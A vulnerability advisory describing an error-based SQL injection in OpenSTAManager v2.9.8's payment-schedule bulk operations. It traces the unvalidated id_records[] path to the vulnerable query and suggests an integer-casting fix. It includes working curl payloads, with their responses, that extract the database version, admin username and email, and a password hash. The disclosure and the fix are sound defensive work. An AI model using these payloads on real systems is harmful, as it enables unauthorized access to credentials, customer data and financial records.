| Package | Affected versions | Patched versions |
|---|---|---|
| devcode-it/openstamanager | ≤ 2.9.8 | |
| openstamanager | ≤ 2.9.8 |
Critical Error-Based SQL Injection vulnerability in the Scadenzario (Payment Schedule) bulk operations module of OpenSTAManager v2.9.8 allows authenticated attackers to extract complete database contents including user credentials, customer PII, and financial records through XML error messages.
Status: ✅ Confirmed and tested on live instance (v2.9.8)
Vulnerable Parameter: id_records[] (POST array)
Affected Endpoint: /actions.php?id_module=18 (Scadenzario module)
Attack Type: Error-Based SQL Injection (IN clause)
OpenSTAManager v2.9.8 contains a critical Error-Based SQL Injection vulnerability in the bulk operations handler for the Scadenzario (Payment Schedule) module. The application fails to validate that elements of the id_records array are integers before using them in an SQL IN() clause, allowing attackers to inject arbitrary SQL commands and extract sensitive data through XPATH error messages.
Vulnerability Chain:
Entry Point: /actions.php (Lines 503-506)
$id_records = post('id_records');
$id_records = is_array($id_records) ? $id_records : explode(';', $id_records);
$id_records = array_clean($id_records);
$id_records = array_unique($id_records);
The array_clean() function only removes empty values - it does NOT validate types.
Vulnerable Function: /lib/util.php (Lines 54-60)
function array_clean($array)
{
if (!empty($array)) {
return array_unique(array_values(array_filter($array, fn ($value) => !empty($value))));
}
}
Impact: The function filters out empty values but accepts any non-empty value, including SQL Injection payloads.
SQL Injection Point: /modules/scadenzario/bulk.php (Line 88) PRIMARY VULNERABILITY
$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');
Impact: Array elements from $id_records are directly concatenated using without type validation or , enabling full SQL Injection.
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The vulnerability exists because:
post('id_records') returns user-controlled arrayarray_clean() only removes empty values, not non-integer valuesimplode(',', $id_records) concatenates array elements directly into SQLid_records[]=1&id_records[]=(MALICIOUS SQL)#Affected Code Path:
POST /actions.php?id_module=18
↓
actions.php:503 - $id_records = post('id_records')
↓
actions.php:505 - $id_records = array_clean($id_records) [NO TYPE VALIDATION]
↓
actions.php:509 - include 'modules/scadenzario/bulk.php'
↓
bulk.php:88 - WHERE id IN ('.implode(',', $id_records).') [INJECTION POINT]
Step 1: Login
curl -c cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
Step 2: Verify Vulnerability (Error-Based SQL Injection)
Test 1: Extract Database User and Version
curl -b cookies.txt \
-d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(USER(),' | ',VERSION()))))%23" \
"http://localhost:8081/actions.php?id_module=18"
Response (error message visible to attacker):
<code>XPATH syntax error: '~osm@localhost | 8.0.40-0ubuntu0.22.04.1'</code>
Test 2: Extract Admin Credentials
curl -b cookies.txt \
-d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(username,':',email) FROM zz_users LIMIT 1)))%23" \
"http://localhost:8081/actions.php?id_module=18"
Response:
<code>XPATH syntax error: '~admin:[email protected]'</code>
Test 3: Extract Password Hash (Part 1 - first 31 chars)
curl -b cookies.txt \
-d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT SUBSTRING(password,1,31) FROM zz_users LIMIT 1)))%23" \
"http://localhost:8081/actions.php?id_module=18"
Response:
<code>XPATH syntax error: '~$2y$10$UUPECY1DhQXm2pGEq/UNAeMd'</code>
Test 4: Extract Password Hash (Part 2 - chars 32-60)
curl -b cookies.txt \
-d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT SUBSTRING(password,32,60) FROM zz_users LIMIT 1)))%23" \
"http://localhost:8081/actions.php?id_module=18"
Response:
<code>XPATH syntax error: '~SoqiRNefN.G9fYMVnCRcvmG0BnwTK'</code>
Combined Password Hash:
$2y$10$UUPECY1DhQXm2pGEq/UNAeMdSoqiRNefN.G9fYMVnCRcvmG0BnwTK
**All authenticated users with access to the Scadenzario (Payment Schedule) module bulk operations.
Recommended Fix:
Primary Fix - Type Validation:
File: /modules/scadenzario/bulk.php
BEFORE (Vulnerable - Line 88):
$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');
AFTER (Fixed):
// Validate that all array elements are integers
$id_records = array_map('intval', $id_records);
$id_records = array_filter($id_records, fn($id) => $id > 0); // Remove zero/negative IDs
$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');
Discovered by Łukasz Rybak